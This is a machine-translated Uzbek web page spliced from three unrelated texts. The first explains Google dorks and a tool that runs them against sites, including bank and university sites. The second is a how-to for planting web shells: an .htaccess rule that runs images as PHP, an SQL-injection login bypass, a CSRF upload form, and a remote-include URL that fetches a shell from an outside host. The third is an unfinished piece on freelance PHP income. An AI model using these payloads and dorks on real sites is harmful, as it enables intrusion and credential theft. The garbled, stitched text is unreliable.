Qidiruv roboti nuqtai nazaridan, SQL so'rovini bajarish haqidagi xato xabari oddiy matn bo'lib, masalan, sahifadagi mahsulotlar tavsifidan ajralmas. Agar to'satdan qidiruv roboti .sql kengaytmali faylga duch kelsa, u negadir saytning ishchi papkasida joylashgan bo'lsa, u sayt tarkibining bir qismi sifatida qabul qilinadi va indekslanadi (shu jumladan, ehtimol parollar). unda ko'rsatilgan).

Bunday ma'lumotni "zaif sahifalarni" zaifliklari bo'lmagan sahifalardan ajratishga yordam beradigan kuchli, ko'pincha noyob kalit so'zlarni bilish orqali topish mumkin.
Exploit-db.com saytida kalit so'zlardan foydalangan holda maxsus so'rovlarning katta ma'lumotlar bazasi (dorklar deb ataladi) mavjud va Google Hack ma'lumotlar bazasi sifatida tanilgan.

Nega google?
Dorks asosan ikki sababga ko'ra Google-ga qaratilgan:
− kalit so‘zlarning eng moslashuvchan sintaksisi (1-jadvalda ko‘rsatilgan) va maxsus belgilar (2-jadvalda ko‘rsatilgan);
− Google indeksi boshqa qidiruv tizimlariga qaraganda hali ham toʻliqroq;

1-jadval - Google asosiy kalit so'zlari

Kalit so'z
Ma'nosi
Misol
sayt
Faqat belgilangan saytdan qidiring. Faqat urlni hisobga oladi
site:somesite.ru - berilgan domen va subdomenlardagi barcha sahifalarni topadi
inurl
Urida mavjud so'zlar bo'yicha qidiring. cl dan farqli o'laroq. "sayt" so'zlari, sayt nomidan keyin mos keladiganlarni qidiradi
inurl:news - berilgan so'z uri ichida joylashgan barcha sahifalarni topadi
matn
Sahifaning asosiy qismida qidiring
intext:"tirbandlik" - odatdagi "tirbandlik" so'roviga mutlaqo o'xshash
sarlavha
Sahifaning sarlavhasida qidiring. Teglar orasidagi matn <br></td> <td width="214">intitle:"index of" - katalog ro'yxati bilan barcha sahifalarni topadi <br></td> </tr><tr><td width="214">ext <br></td> <td width="214">Belgilangan kengaytmali sahifalarni qidiring <br></td> <td width="214">ext:pdf - barcha pdf fayllarni topadi <br></td> </tr><tr><td width="214">fayl turi <br></td> <td width="214">Hozirgi vaqtda sinfga mutlaqo o'xshash. "ext" so'zi <br></td> <td width="214">fayl turi: pdf - shunga o'xshash <br></td> </tr><tr><td width="214">bog'liq <br></td> <td width="214">Shu kabi mavzularga ega saytlarni qidiring <br></td> <td width="214">related:google.ru - uning analoglarini ko'rsatadi <br></td> </tr><tr><td width="214">havola <br></td> <td width="214">Bunga bog'langan saytlarni qidiring <br></td> <td width="214">link:somesite.ru - bu havolaga ega bo'lgan barcha saytlarni topadi <br></td> </tr><tr><td width="214">aniqlash <br></td> <td width="214">So'z ta'rifini ko'rsating <br></td> <td width="214">aniqlang:0day - atamaning ta'rifi <br></td> </tr><tr><td width="214">kesh <br></td> <td width="214">Sahifa mazmunini keshda ko'rsatish (agar mavjud bo'lsa) <br></td> <td width="214">cache:google.com - keshlangan sahifani ochadi <br></td> </tr></tbody></table><p>2-jadval - Google so'rovlari uchun maxsus belgilar <br></p><table><tbody><tr><td width="214"><b>Belgi</b><br></td> <td width="214"><b>Ma'nosi</b><br></td> <td width="214"><b>Misol</b><br></td> </tr><tr><td width="214">“<br></td> <td width="214">Aniq ibora <br></td> <td width="214">intitle:“RouterOS router konfiguratsiya sahifasi” - marshrutizatorlarni qidiring <br></td> </tr><tr><td width="214">*<br></td> <td width="214">Har qanday matn <br></td> <td width="214">inurl: "bitrix*mcart" - zaif mcart moduli bilan bitrix-da saytlarni qidirish <br></td> </tr><tr><td width="214">.<br></td> <td width="214">Har qanday xarakter <br></td> <td width="214">Index.of - so'rov indeksiga o'xshash <br></td> </tr><tr><td width="214">-<br></td> <td width="214">Bir so'zni o'chirish <br></td> <td width="214">error -warning - xatosi bor, lekin ogohlantirishsiz barcha sahifalarni ko'rsatish <br></td> </tr><tr><td width="214">..<br></td> <td width="214">Diapazon <br></td> <td width="214">cve 2006..2016 - 2006 yildan boshlab zaifliklarni ko'rsatish <br></td> </tr><tr><td width="214">|<br></td> <td width="214">Mantiqiy "yoki" <br></td> <td width="214">linux | windows - birinchi yoki ikkinchi so'z paydo bo'ladigan sahifalarni ko'rsatish <br></td> </tr></tbody></table><br>Shuni tushunish kerakki, qidiruv tizimiga har qanday so'rov faqat so'zlar bilan qidirishdir. <br>Sahifada meta-belgilarni (tirnoq, qavs, tinish belgilari va boshqalar) izlash befoyda. Hatto qo'shtirnoq ichida ko'rsatilgan aniq iborani qidirish ham so'z qidirish, keyin esa natijalarda aniq moslikni qidirishdir. <p>Barcha Google Hack ma'lumotlar bazasi mantiqiy ravishda 14 toifaga bo'lingan va 3-jadvalda keltirilgan. <br>3-jadval – Google Hack ma’lumotlar bazasi toifalari <br></p><table><tbody><tr><td width="168"><b>Turkum</b><br></td> <td width="190"><b>Nima topishga imkon beradi</b><br></td> <td width="284"><b>Misol</b><br></td> </tr><tr><td width="168">Poyafzallar <br></td> <td width="190">Veb-qobiqlar, umumiy fayl menejerlari <br></td> <td width="284">Ro'yxatdagi veb-qobiqlar yuklangan barcha buzilgan saytlarni toping: <br>(intitle:"phpshell" YOKI intitle:"c99shell" YOKI intitle:"r57shell" YOKI intitle:"PHP Shell" OR intitle:"phpRemoteView") `rwx` "uname" <br></td> </tr><tr><td width="168">Foydalanuvchi nomlarini o'z ichiga olgan fayllar <br></td> <td width="190">Ro'yxatga olish fayllari, konfiguratsiya fayllari, jurnallar, kiritilgan buyruqlar tarixini o'z ichiga olgan fayllar <br></td> <td width="284">Hisob ma'lumotlarini o'z ichiga olgan barcha registr fayllarini toping: <br><i>fayl turi: reg reg + matn: "internet hisob menejeri"</i><br></td> </tr><tr><td width="168">Nozik kataloglar <br></td> <td width="190">Turli ma'lumotlarga ega bo'lgan kataloglar (shaxsiy hujjatlar, vpn konfiguratsiyalari, yashirin omborlar va boshqalar) <br></td> <td width="284">VPN bilan bog'liq fayllarni o'z ichiga olgan barcha katalog ro'yxatlarini toping: <br><i>"Config" sarlavhasi: "Index of" intext:vpn</i><br>Git repozitoriylarini o'z ichiga olgan saytlar: <br><i>(intext:"index of /.git") ("ota-ona katalogi")</i><br></td> </tr><tr><td width="168">Veb-serverni aniqlash <br></td> <td width="190">Veb-server haqidagi versiya va boshqa ma'lumotlar <br></td> <td width="284">JBoss server ma'muriy konsollarini toping: <br><i>inurl:"/web-console/" intitle:"Ma'muriyat konsoli"</i><br></td> </tr><tr><td width="168">Zaif fayllar <br></td> <td width="190">Ma'lum zaifliklarni o'z ichiga olgan skriptlar <br></td> <td width="284">Serverdan ixtiyoriy faylni yuklash imkonini beruvchi skriptdan foydalanadigan saytlarni toping: <br><i>allinurl:forcedownload.php?file=</i><br></td> </tr><tr><td width="168">Zaif serverlar <br></td> <td width="190">O'rnatish skriptlari, veb-qobiqlar, ochiq ma'muriy konsollar va boshqalar. <br></td> <td width="284">Ildiz sifatida ishlaydigan ochiq PHPMyAdmin konsollarini toping: <br><i>intitle:phpMyAdmin "phpMyAdmin ga xush kelibsiz ***" "* root@* sifatida ishlaydi"</i><br></td> </tr><tr><td width="168">Xato xabarlari <br></td> <td width="190">Turli xil xatolar va ogohlantirishlar ko'pincha muhim ma'lumotlarni ochib beradi - CMS versiyasidan parollargacha <br></td> <td width="284">Ma'lumotlar bazasiga SQL so'rovlarini bajarishda xatolikka yo'l qo'ygan saytlar: <br><i>"Ogohlantirish: mysql_query()" "so'rov noto'g'ri"</i><br></td> </tr><tr><td width="168">Murakkab ma'lumotlarni o'z ichiga olgan fayllar <br></td> <td width="190">Sertifikatlar, zaxira nusxalari, elektron pochta xabarlari, jurnallar, SQL skriptlari va boshqalar. <br></td> <td width="284">Initsializatsiya sql skriptlarini toping: <br><i>filetype:sql va "insert into" -site:github.com</i><br></td> </tr><tr><td width="168">Parollarni o'z ichiga olgan fayllar <br></td> <td width="190">Parollarni o'z ichiga olishi mumkin bo'lgan har qanday narsa - jurnallar, sql skriptlari va boshqalar. <br></td> <td width="284">Parollarni eslatuvchi jurnallar: <br><i>fayl turi:</i><i>jurnal</i><i>matn:</i><i>parol |</i><i>o'tish |</i><i>pw</i><br>parollarni o'z ichiga olgan sql skriptlari: <br><i>qo'shimcha:</i><i>sql</i><i>matn:</i><i>foydalanuvchi nomi</i><i>matn:</i><i>parol</i><br></td> </tr><tr><td width="168">Nozik onlayn xarid ma'lumotlari <br></td> <td width="190">Onlayn xaridlar bilan bog'liq ma'lumotlar <br></td> <td width="284">Pin kodlarini toping: <br><i>dcid =</i><i>bn=</i><i>pin</i><i>kod =</i><br></td> </tr><tr><td width="168">Tarmoq yoki zaiflik ma'lumotlari <br></td> <td width="190">To'g'ridan-to'g'ri veb-resurs bilan bog'liq bo'lmagan, lekin tarmoqqa yoki boshqa veb-xizmatlarga ta'sir qiluvchi ma'lumotlar <br></td> <td width="284">Ichki tarmoq haqidagi ma'lumotlarni o'z ichiga olgan avtomatik proksi-server konfiguratsiya skriptlarini toping: <br><i>inurl:proksi | inurl:wpad ext:pac | ext:dat findproxyforurl</i><br></td> </tr><tr><td width="168">Kirish portallarini o'z ichiga olgan sahifalar <br></td> <td width="190">Kirish shakllarini o'z ichiga olgan sahifalar <br></td> <td width="284">saplogon veb-sahifalari: <br><i>matn: "2016 SAP AG. Barcha huquqlar himoyalangan." sarlavha: "Kirish"</i><br></td> </tr><tr><td width="168">Turli xil onlayn qurilmalar <br></td> <td width="190">Printerlar, marshrutizatorlar, monitoring tizimlari va boshqalar. <br></td> <td width="284">Printer konfiguratsiya panelini toping: <br><i>sarlavha:"</i><i>hp</i><i>laserjet"</i><i>inurl:</i><i>SSI/</i><i>avtorlash/</i><i>set_</i><i>konfiguratsiya_</i><i>qurilma haqida ma'lumot.</i><i>htm</i><br></td> </tr><tr><td width="168">Maslahat va zaifliklar <br></td> <td width="190">Zaif CMS versiyalaridagi veb-saytlar <br></td> <td width="284">Serverga ixtiyoriy faylni yuklashingiz mumkin bo'lgan zaif plaginlarni toping: <br><i>inurl: fckeditor -intext: "ConfigIsEnabled = False" matni: ConfigIsEnabled</i><br></td> </tr></tbody></table><br>Dorks ko'pincha barcha Internet saytlarida qidirishga e'tibor qaratadi. Ammo biron bir sayt yoki saytdagi qidiruv doirasini cheklashga hech narsa to'sqinlik qilmaydi. <br>Har bir Google so'rovi so'rovga "site: somesite.com" kalit so'zini qo'shish orqali ma'lum bir saytga qaratilishi mumkin. Ushbu kalit so'z har qanday dokka qo'shilishi mumkin. <p><b>Zaifliklarni qidirishni avtomatlashtirish</b><br>Shunday qilib, qidiruv tizimi (google) yordamida zaifliklarni qidirishni avtomatlashtiradigan va Google Hack ma'lumotlar bazasiga tayanadigan oddiy yordamchi dasturni yozish g'oyasi paydo bo'ldi.</p><p>Yordamchi dastur phantomjs yordamida nodejs-da yozilgan skriptdir. Aniqroq aytganda, skript phantomjs tomonidan talqin qilinadi. <br>Phantomjs - bu JS kodi va qulay API bilan boshqariladigan GUI-siz to'liq huquqli veb-brauzer. <br>Yordamchi dastur juda tushunarli nom oldi - dorks. Uni buyruq satrida ishga tushirish orqali (variantlarsiz) biz bir nechta foydalanish misollari bo'yicha qisqacha yordam olamiz: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/edd/6fb/ccc/edd6fbccc5ec340abe750f3073c1b427.jpg' width="100%" loading=lazy loading=lazy><br>Shakl 1 - asosiy dorks variantlari ro'yxati</p><p>Yordamchi dasturning umumiy sintaksisi: dork "buyruq" "variantlar ro'yxati". <br>Barcha variantlarning batafsil tavsifi 4-jadvalda keltirilgan.</p><p>4-jadval - Dorks sintaksisi <br></p><table border="1"><tbody><tr><td width="214"><b>Jamoa</b><br></td> <td width="214"><b>Variant</b><br></td> <td width="214"><b>Tavsif</b><br></td> </tr><tr><td rowspan="4" width="214">ghdb <br></td> <td width="214">-l <br></td> <td width="214">Google Hack Database dork toifalarining raqamlangan roʻyxatini chop eting <br></td> </tr><tr><td width="214">-c "toifa raqami yoki nomi" <br></td> <td width="214">Belgilangan toifadagi eshiklarni raqam yoki nom bo'yicha yuklang <br></td> </tr><tr><td width="214">-q "ibora" <br></td> <td width="214">So'rov bo'yicha topilgan dorklarni yuklab oling <br></td> </tr><tr><td width="214">-o "fayl" <br></td> <td width="214">Natijani faylga saqlang (faqat -c|-q opsiyalari bilan) <br></td> </tr><tr><td rowspan="8" width="214">google <br></td> <td width="214">-d "dork" <br></td> <td width="214">O'zboshimchalik bilan dokni o'rnating (variantni ko'p marta ishlatish mumkin, -D opsiyasi bilan kombinatsiyaga ruxsat beriladi) <br></td> </tr><tr><td width="214">-D "fayl" <br></td> <td width="214">Fayldan dorklardan foydalaning <br></td> </tr><tr><td width="214">-s "sayt" <br></td> <td width="214">Saytni o'rnatish (variant ko'p marta ishlatilishi mumkin, -S opsiyasi bilan kombinatsiyaga ruxsat beriladi) <br></td> </tr><tr><td width="214">-S "fayl" <br></td> <td width="214">Fayllardan saytlardan foydalaning (do'konlar har bir sayt uchun mustaqil ravishda qidiriladi) <br></td> </tr><tr><td width="214">-f "filtr" <br></td> <td width="214">Qo'shimcha kalit so'zlarni o'rnating (har bir dokka qo'shiladi) <br></td> </tr><tr><td width="214">-t "ms soni" <br></td> <td width="214">Google-ga so'rovlar orasidagi interval <br></td> </tr><tr><td width="214">-T "ms soni" <br></td> <td width="214">Agar captcha topilsa, vaqt tugaydi <br></td> </tr><tr><td width="214">-o "fayl" <br></td> <td width="214">Natijani faylga saqlang (faqat biror narsa topilgan treklar saqlanadi) <br></td> </tr></tbody></table><br>Ghdb buyrug'idan foydalanib, siz o'zboshimchalik bilan so'rov orqali exploit-db dan barcha dorklarni olishingiz yoki butun toifani belgilashingiz mumkin. Agar siz 0-toifani belgilasangiz, butun ma'lumotlar bazasi tushiriladi (taxminan 4,5 ming dork). <p>Hozirda mavjud bo'lgan toifalar ro'yxati 2-rasmda keltirilgan. <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/b8f/b11/ffe/b8fb11ffeaced5066fd2fd9e43be67fb.jpg' width="100%" loading=lazy loading=lazy></p><p>Shakl 2 - mavjud GHDB dork toifalari ro'yxati</p><p>Google jamoasi har bir dokni Google qidiruv tizimiga almashtiradi va natijani o'yinlar uchun tahlil qiladi. Biror narsa topilgan yo'llar faylga saqlanadi. <br>Yordamchi dastur turli xil qidiruv rejimlarini qo'llab-quvvatlaydi: <br>1 dok va 1 sayt; <br>1 dok va ko'plab saytlar; <br>1 ta sayt va ko'plab dorklar; <br>ko'p saytlar va ko'plab dorklar; <br>Dorklar va saytlar ro'yxati argument yoki fayl orqali aniqlanishi mumkin.</p><p><b>Ishning namoyishi</b><br>Keling, xato xabarlarini qidirish misolidan foydalanib, har qanday zaifliklarni izlashga harakat qilaylik. Buyruq bo‘yicha: dorks ghdb –c 7 –o errors.dorks “Xato xabarlari” toifasidagi barcha ma’lum dorklar 3-rasmda ko‘rsatilganidek yuklanadi. <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/28c/386/641/28c386641d1528652f7f8e8b8089097a.jpg' width="100%" loading=lazy loading=lazy><br>3-rasm - "Xato xabarlari" toifasidagi barcha ma'lum dorklarni yuklash</p><p>Dorks yuklab olinadi va faylga saqlanadi. Endi ularni biron bir saytga "o'rnatish" qoladi (4-rasmga qarang). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/8e0/a8a/3af/8e0a8a3af4f26544da1faa584813dbff.jpg' width="100%" loading=lazy loading=lazy><br>4-rasm – Google keshida qiziqtirgan saytning zaif tomonlarini qidiring</p><p>Biroz vaqt o'tgach, o'rganilayotgan saytda xatolarni o'z ichiga olgan bir nechta sahifalar topiladi (5-rasmga qarang).</p><p><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/10b/e83/ba3/10be83ba38f172213ba06b3f9ad05a58.jpg' width="100%" loading=lazy loading=lazy><br>5-rasm – Xato xabarlari topildi</p><p>Natijada, result.txt faylida biz xatoga olib keladigan dorklarning to'liq ro'yxatini olamiz. <br>6-rasmda sayt xatolarini qidirish natijasi ko'rsatilgan. <br><br>6-rasm – Qidiruv natijasi xatosi</p><p>Ushbu dork uchun keshda skriptlarning mutlaq yo'llarini, sayt tarkibini boshqarish tizimini va ma'lumotlar bazasi turini ochib beruvchi to'liq orqaga qaytish ko'rsatiladi (7-rasmga qarang). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/0a9/455/588/0a9455588496d6609f5e13d598cb5a48.jpg' width="100%" loading=lazy loading=lazy><br>7-rasm - sayt dizayni haqidagi ma'lumotlarni oshkor qilish</p><p>Biroq, GHDB dan barcha dorklar haqiqiy natijalarni bermasligini hisobga olish kerak. Bundan tashqari, Google aniq moslikni topa olmasligi va shunga o'xshash natijani ko'rsatishi mumkin.</p><p>Bunday holda, o'zingizning shaxsiy ro'yxatingizdan foydalanish oqilona. Misol uchun, har doim "g'ayrioddiy" kengaytmali fayllarni izlashga arziydi, ularning misollari 8-rasmda ko'rsatilgan. <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/d7f/865/693/d7f865693f7fcf13137598eeed0ecb58.jpg' width="100%" loading=lazy loading=lazy><br>8-rasm - Oddiy veb-resurs uchun odatiy bo'lmagan fayl kengaytmalari ro'yxati</p><p>Natijada, dorks google –D extensions.txt –f bank buyrug'i bilan Google birinchi so'rovdan boshlab "noodatiy" fayl kengaytmalari bo'lgan saytlarni qaytarishni boshlaydi (9-rasmga qarang). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/107/e1f/a2f/107e1fa2f41c4169bcc254cba2f2f4b6.jpg' width="100%" loading=lazy loading=lazy><br>9-rasm - Bank veb-saytlarida "yomon" fayl turlarini qidiring</p><p>Shuni yodda tutish kerakki, Google 32 so'zdan ortiq so'rovlarni qabul qilmaydi.</p><p>Dorks google –d intext:”xato|ogohlantirish|notice|sintaksisi” –f universiteti buyrug'idan foydalanish <br>PHP tarjimoni xatolarini taʼlim veb-saytlarida qidirishingiz mumkin (10-rasmga qarang). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/717/74f/e36/71774fe3656bfc058c42d43262fdec4a.jpg' width="100%" loading=lazy loading=lazy><br>10-rasm – PHP ish vaqti xatolarini topish</p><p>Ba'zan bir yoki ikkita toifadagi dorklardan foydalanish qulay emas. <br>Misol uchun, agar sayt Wordpress dvigatelida ishlashi ma'lum bo'lsa, unda bizga WordPress-ga xos modullar kerak bo'ladi. Bunday holda, Google Hack Database qidiruvidan foydalanish qulay. dorks ghdb –q wordpress –o wordpress_dorks.txt buyrug‘i 11-rasmda ko‘rsatilganidek, Wordpress’dan barcha dorkslarni yuklab oladi: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/dcb/ac9/a4e/dcbac9a4eb12f6ec775d9cccc2fdee87.jpg' width="100%" loading=lazy loading=lazy><br>11-rasm - Wordpress bilan bog'liq Dorklarni qidirish</p><p>Keling, yana banklarga qaytaylik va Wordpress bilan bog'liq qiziqarli narsalarni topish uchun dorks google –D wordpress_dords.txt –f bank buyrug'idan foydalanamiz (12-rasmga qarang). <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/042/0c2/c43/0420c2c435931704288b171f725ccc6a.jpg' width="100%" loading=lazy loading=lazy><br>12-rasm – Wordpress zaifliklarini qidiring</p><p>Shuni ta'kidlash kerakki, Google Hack ma'lumotlar bazasida qidiruv 4 ta belgidan qisqa so'zlarni qabul qilmaydi. Misol uchun, agar saytning CMS-si ma'lum bo'lmasa, lekin tili ma'lum bo'lsa - PHP. Bunday holda, siz quvur va tizim qidiruv yordam dasturi yordamida qo'lda kerak bo'lgan narsalarni filtrlashingiz mumkin dorks –c all | findstr /I php > php_dorks.txt (13-rasmga qarang): <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/4c1/2f8/6e1/4c12f86e111074293c14d6a939c6ebab.jpg' width="100%" loading=lazy loading=lazy><br>13-rasm – PHP tilga olingan barcha dorklarni qidiring</p><p>Qidiruv tizimidagi zaifliklarni yoki ba'zi nozik ma'lumotlarni qidirish faqat ushbu saytda muhim indeks mavjud bo'lganda amalga oshirilishi kerak. Misol uchun, agar saytda 10-15 sahifa indekslangan bo'lsa, unda bu tarzda biror narsani qidirish ahmoqlikdir. Indeks hajmini tekshirish oson - Google qidiruv satriga "site: somesite.com" ni kiritish kifoya. Indeks etarli bo'lmagan sayt misoli 14-rasmda ko'rsatilgan. <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/78e/1db/b4f/78e1dbb4fc78cd422cec311fc2ca9d33.jpg' width="100%" loading=lazy loading=lazy><br>14-rasm – Sayt indeksi hajmini tekshirish</p><p>Endi yoqimsiz haqida... Vaqti-vaqti bilan Google captcha so'rashi mumkin - bu haqda hech narsa qila olmaysiz - uni kiritishingiz kerak bo'ladi. Misol uchun, "Xato xabarlari" toifasi (90 doks) bo'yicha qidiruv paytida captcha faqat bir marta paydo bo'ldi.</p><p>Shuni qo'shimcha qilish kerakki, phantomjs ham http va paypoq interfeysi orqali proksi-server orqali ishlashni qo'llab-quvvatlaydi. Proksi-server rejimini yoqish uchun dorks.bat yoki dorks.sh da tegishli qatorni izohdan olib tashlashingiz kerak.</p><p>Asbob manba kodi sifatida mavjud</p> <br>Ushbu maqolada men veb-saytga qobiqni yuklashning eng ko'p qo'llaniladigan usullari haqida gapirmoqchiman. <b>Veb-qobiq</b> tajovuzkorlar veb-saytlar yoki serverlarni boshqarish uchun foydalanadigan zararli skript (dastur) turidir. <p><b>1-usul</b><br>Fayllar/rasmlarni yuklash uchun veb-saytda shaklni toping. Aytaylik, biz saytning administrator panelini buzib bo'lmadik va biz o'z qobig'imizni to'ldirishga harakat qilyapmiz. <b>kengaytma.php.jpg.</b> Muvaffaqiyatli bo'lsa, biz rasm o'rniga oq oynani ko'ramiz, biz sichqonchaning o'ng tugmachasini bosing va havolani kuzatib boramiz. Muvaffaqiyatsiz bo'lsa, biz Chrome kengaytmasidan foydalanishimiz mumkin <b>ma'lumotlarni buzish</b>. Bu so'rovni xohlagancha ushlab turish va o'zgartirish imkonini beradi. Agar sayt fayl kengaytmasini tekshirsa, avval biz yuklashimiz mumkin <b>.htaccess</b> mazmuni bilan fayl: <br>AddType ilovasi/x-httpd-php .jpg <br>Bu buyruq jpg fayllarni php sifatida bajaradi. <br><b>Batafsil video ko'rsatmalar:</b><br></p><p><span class="imp1oe54JeQ"></span></p><p>Video ko'rsatmalar uchun <b>ma'lumotlarni o'rnatish:</b><br></p><p><span class="JA5K4KJ0NCc"></span></p><br><b>2-usul</b><br>Saytda administrator panellarini qidirish uchun dasturdan foydalaning - https://github.com/bdblackhat/admin-panel-finder. Dastur administrator panelini topganda, biz sql-injection-ni sinab ko'rishimiz mumkin. Saytning login va parol maydoniga kodni kiritamiz: <br><p>" yoki "1"="1" YOKI 1=1/*</p><p>Agar u ishlayotgan bo'lsa, biz administrator paneliga o'tamiz va <b>Biz 1-usul bo'yicha harakat qilamiz.</b> Agar saytdagi administrator panelida sql-injection mavjud bo'lmasa, biz uni disk raskadrovka qilishga urinib ko'rishimiz yoki ushbu CMS uchun ekspluatatsiyani topishimiz mumkin. <br><b>Batafsil video ko'rsatmalar:</b><br></p><p><span class="5Kh5gCr_3rc"></span></p><br><b>3-usul</b><br>3-usulda biz saytning o'zida sql-injectionni qidiramiz. Biz buni qo'lda qilishimiz yoki sqlmap-dan foydalanishimiz mumkin. Forumda in'ektsiyalarni qanday qilish kerakligi haqida etarlicha mavzular mavjud, shuning uchun men uzoqdan kelaman. Shunday qilib, biz allaqachon administratorning login va paroli bilan jadvalni topdik, xeshlarni parolini hal qiling, administrator paneliga o'ting va xursand bo'ling. Aytaylik, biz parolni hal qila olmadik va hamma narsa noto'g'ri ketdi, keyin foydalanuvchimizning imtiyozlarini tekshirishimiz kerak. <b>. </b> Biz imtiyozlarni tekshiramiz va mini-qobiqni yuklaymiz. <b>Ba'zi sabablarga ko'ra, kodni joylashtirmoqchi bo'lganimda, sayt menga xatolik beradi.</b><p><b>4-usul</b><br>4-usul csrf hujumini o'z ichiga oladi. Quyidagi kodda biz almashtirishimiz kerak <b>http://</b> maqsadli havolamizga. <b>Qobiqni tanlang</b> va tugmani bosing <b>yuklash.</b><br></p><p> <form method="POST" action="http://" enctype="multipart/form-data" > <input type="file" name="Filedata"></center><br> <input type="submit" name="Submit" value="Yuklash"> </form></p><p><span class="FXOjzV5I1Cc"></span></p><br><b>5-usul</b><br>Maqsadingiz haqida ko'proq bilib oling va ekspluatatsiya toping. Buning uchun juda qiziqarli veb-sayt mavjud - https://www.exploit-db.com. Hech kim zaifliklar orqali veb-saytlarni ommaviy buzishni bekor qilmagan, ammo shaklda bu haqda allaqachon maqola mavjud. <p>Qobiqni to'ldirishning yana ko'p usullari mavjud va ularning har biri haqida gapirishning ma'nosi yo'q. Agar siz mashq qilmoqchi bo'lsangiz, u holda dvwa-ni o'rnating - bu xavfsizlik mutaxassislariga o'z malakalari va vositalarini qonuniy muhitda sinab ko'rishga yordam berish uchun mo'ljallangan dastur.</p><p><b>6-usul <br><b>Php in'ektsiyasi</b>- bu tajovuzkor o'zining PHP kodini hujum qilingan PHP ilovasiga kiritganda veb-saytga hujum qilish shaklidir.</b><br>www.site.ru?page=home.html <br>Buyruqni bajarish orqali biz uy, html sahifasini yuklaymiz. Endi biz zararli qobiqni yuklashga harakat qilamiz. <br>www.site.ru?page=http:/hacker.ru/webshell.php <br>Dork: <b>Inurl:page=</b></p><p>Perl yordamida allaqachon yuklangan qobiqni topishning bir usuli ham mavjud</p> <p> » </p><h1>Qanday qilib PHP dasturchisi uyda yaxshi pul ishlashi mumkin?</h1><p>Ko'pgina muvaffaqiyatli PHP dasturchilari uydan yaxshi pul ishlashadi. Har qanday daromadning boshida qiyinchiliklar paydo bo'ladi. Shunday bo'ladiki, qiyinchiliklar va pul ishlash usullarini bilmaslik barcha uyda pul ishlash istagini to'xtatadi, shundan so'ng dasturchilar har oy pul olish kafolati ko'proq bo'lgan ofislarda ishlash imkoniyatini izlaydilar va kasbiy o'sish bo'ladi. mumkin.</p><p>Ammo uyda ishlash imkoniyatining kamchiliklaridan ko'ra ko'proq afzalliklari bor.</p><h3>pros</h3><p>Siz o'zingiz uchun ishlaysiz. Hech kim sizni ishdan bo'shamaydi, siz o'zingiz xohlagan vaqtda o'z jadvalingizni yoki ishingizni taqsimlay olasiz.</p><p>Siz o'zingiz uchun dasturlash yordamida pul ishlash yo'lini tanlaysiz, bu birinchidan, ishga qiziqishingizni oshiradi, ikkinchidan, sizda katta harakat erkinligi mavjud. Sizga yoqmaydigan narsa ustida ishlashingiz shart emas. Bundan tashqari, pul ishlash usullarini birlashtirish uchun ko'proq imkoniyatlar mavjud.</p><h3>Minuslar</h3><p>Avvaliga bu qiyin bo'ladi va ishingiz uchun birinchi pulni olish uchun siz ko'p kuch va vaqt sarflashingiz kerak. Va foyda bo'lishi uchun siz doimo rivojlanib, sabr-toqatli bo'lishingiz va ishni o'z vaqtida bajarish uchun vaqtingiz bo'lishi uchun jadvalingizni to'g'ri taqsimlashingiz kerak.</p><h3>Skriptlaringizdan pul ishlash</h3><p>Internetda odamlar osongina yuklab olishlari va veb-saytlariga o'rnatishlari mumkin bo'lgan juda ko'p turli xil skriptlar mavjud. Siz o'zingizning noyob skriptingizni yozishingiz mumkin va skriptingizdan qanday qilib pul ishlashingiz mumkinligining ikkita varianti mavjud. Uni soting yoki fayl almashish xizmatlari orqali joylashtiring. Bundan tashqari, ikkita variantdan foydalanishingiz mumkin. Masalan, engil skriptlar, lekin ayni paytda fayl almashish xizmatlari orqali katta talabga ega bo'lgan skriptlarni joylashtirish ham juda muhimdir. Buning uchun skriptlar talabga ega bo'lishi kerak, shunda odamlar ularni o'z ehtiyojlari uchun yuklab olishlari kerak.</p><p>Katta skriptlarni o'rtacha narxlarda sotish mumkin. Siz forumlarda reklama joylashtirishingiz mumkin, yoki o'zingizning shaxsiy blogingiz yoki veb-saytingiz bo'lsa, skriptlarni sotish uchun reklama joylashtiring.</p><p>Qanday bo'lmasin, qaysi variantni tanlamasligingizdan qat'i nazar, skriptni arxivga joylashtiring va o'zingiz haqingizda batafsil ko'rsatmalar va aloqa ma'lumotlarini kiritganingizga ishonch hosil qiling. Yordam berishga ishonch hosil qiling, chunki o'zingiz uchun ishlash siz uchun muhim. Axir, sizga tavsiya etilishi yoki skriptlaringizni yuklab olishingiz kerak. Ular yuqori sifatli bo'lishi kerak. Agar biror kishi sizdan yordam so'rasa, unga skript haqida muloyimlik bilan tushuntiring yoki uni o'rnatishga yordam bering. Skriptlaringiz sharhlarga ega bo'lishi kerak. Har bir funktsiya nima uchun javob beradi va hokazo. Axir, odam sizning kodingizda osongina chalkashib ketishi mumkin, bu erda hech qanday belgi yo'q.</p><h3>Shaxsiy va qo'shma loyihalar</h3><p>Muvaffaqiyatli pul ishlash uchun o'z veb-saytingizni yaratish yaxshi. Veb-saytingiz bilan pul ishlash uchun ko'plab imkoniyatlar mavjud. Agar siz uni yaxshi targ'ib qilsangiz, u erda sotiladigan skriptlarni joylashtirishingiz mumkin. Hamkorlikdagi loyihalar sizning imkoniyatlaringizni kengaytiradi, bu uy dasturlash muvaffaqiyati uchun yaxshi. Shuning uchun, sheriklarni qidiring yoki birgalikda loyiha yaratish takliflarini rad qilmang.</p><p>Veb-saytingizga e'tiborni tortadigan xususiyatlarni qo'shishingiz kerak. Sayt oddiy, oddiy ko'rinishga ega bo'lishi mumkin, lekin ayni paytda o'ziga xos burilish bilan. Shaxsiy veb-sayt mijozlarni ko'paytirishga yordam beradi. Ular sizning skriptlaringiz qanday ishlashini, agar ularni yuklash juda ko'p vaqt talab 